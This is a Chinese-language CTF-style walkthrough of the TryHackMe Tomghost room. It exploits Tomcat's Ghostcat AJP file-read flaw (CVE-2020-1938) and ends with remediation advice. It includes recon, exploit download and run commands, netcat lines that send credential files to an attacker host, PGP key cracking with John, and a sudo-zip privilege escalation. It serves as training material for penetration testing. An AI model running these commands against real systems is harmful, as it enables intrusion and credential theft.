以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试
1. 概述
1.1 Apache Tomcat
Tomcat服务器是一个免费的开放源代码的Web应用服务器,被普遍使用在轻量级Web应用服务的构架中。 Tomcat提供了可以在其中运行Java代码的“纯Java” HTTP Web服务器环境。
1.2 漏洞简述
CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
1.3 风险等级
评定方式 | 等级 |
---|---|
CVSS Score | 7.5 |
Confidentiality Impact | Partial |
Integrity Impact | Partial |
Availability Impact | Partial |
实现难度 | 低 |
基础权限 | 不需要 |
漏洞类型 | Execute Code |
1.4 影响范围
1.5 漏洞详情
参见Apache Tomcat CVE-2020-1938,细思极恐&Apache Tomcat任意文件读取漏洞和命令执行漏洞源码分析
2. 环境配置
2.1 方案一: Tryhackme线上虚拟环境
2.2 方案二
3. 漏洞复现
3.1 Initial Recon
-
使用Nmap扫描,发现Apache运行在8080端口,8009端口运行ajp服务,
nmap -sV -sC -T4 <ip>
首页就是Apache的默认页面,没啥有用的,其他页面也无法访问
-
Google或Hackticks搜索AJP的相关内容
- Google后GitHub上发现可以越权读取web.xml文件的EXP
- Hackticks也提供了利用代码(需要修改,本文采用方法一)
3.2 Gaining Access
-
下载方法一提供的EXP
wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py
-
运行EXP,获得了一个用户名和密码
python3 ajpShooter.py http://10.10.76.159 8009 /WEB-INF/web.xml read
-
使用上文获得的用户名和密码进行ssh登录,并发现有两个貌似可以利用的文件:.pgp和.asc!
-
为了更好的读取两个文件使用nc将他们传到kali上,然后进行base64解码
base64 credential.pgp | nc 10.9.17.195 1234
base64 tryhackme.asc | nc 10.9.17.195 1234
nc -nvlp 1234 > credential.pgp.b64
nc -nvlp 1234 > tryhackme.asc.b64
-
猜测这个在asc文件中的PGP key是用来打开pgp文件的,那么先来尝试破解这个asc文件,将其转换为hash,然后使用John破解
base64 -d credential.pgp.b64 > credential.pgp
base64 -d tryhackme.asc.b64 > tryhackme.asc
gpg2john tryhackme.asc > tryhackme.asc.john
john --wordlist=/usr/share/wordlists/rockyou.txt tryhackme.asc.john
-
得到密码后,将破解的key导入到asc文件,然后输入得到的密码,最后得到解密后的pgp文件,发现另外一个用户名
gpg --import tryhackme.asc
gpg --decrypt credential.pgp
3.3 Privilege Escalation
-
使用新获得的用户名和密码ssh登录,使用sudo命令查看当前权限,发现当前用户能够以root权限运行zip并且不需要密码
-
使用GTFObins提供的方法进行提权
4. 修复建议
- 临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
- 将tomcat升级到9.0.31、8.5.51或者7.0.100版本
- 配置secret来设置AJP协议的认证凭证
5. 总结
Apache Tomcat CVE-2020-1938这个漏洞确实凶猛,攻击者可以读取到webapp目录下的任意文件,包括war包。而war包里有properties文件,不少开发团队都把连接数据库的用户名密码、JWT 签名secret、加解密密钥等重要信息放在这个文件里。这个漏洞的存在,允许攻击者可以最终读取到这些密钥数据,当然源码也是能通过反编译war包里的class文件得到的。
为了避免密钥泄露,常规做法(不要硬编码密钥到源代码、密钥单独放置在properties文件并且和源代码分别存储在不同的代码仓库)并不奏效,更为妥善的办法是使用密钥管理服务,你可以直接使用云服务提供商的密钥管理服务,也可以自己搭建一个。
安全原则是很重要的,尤其是最小权限和纵深防御原则。在这个漏洞案例中,就算你使用的Tomcat有问题,但由于相关端口已经关闭,而且还有好几层的网络映射和路由配置的防御,所以也不会受到影响。当然,第三方组件安全管理、安全补丁管理、实施端口监控等手段也有助于减轻或避免这个漏洞带来的影响。文章来源:https://www.toymoban.com/news/detail-517077.html
6. References
CVE Details (2020) CVE-2020-1938. Available at: https://www.cvedetails.com/cve/CVE-2020-1938/…(Accessed: 22 Oct 2022).文章来源地址https://www.toymoban.com/news/detail-517077.html
到了这里,关于以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!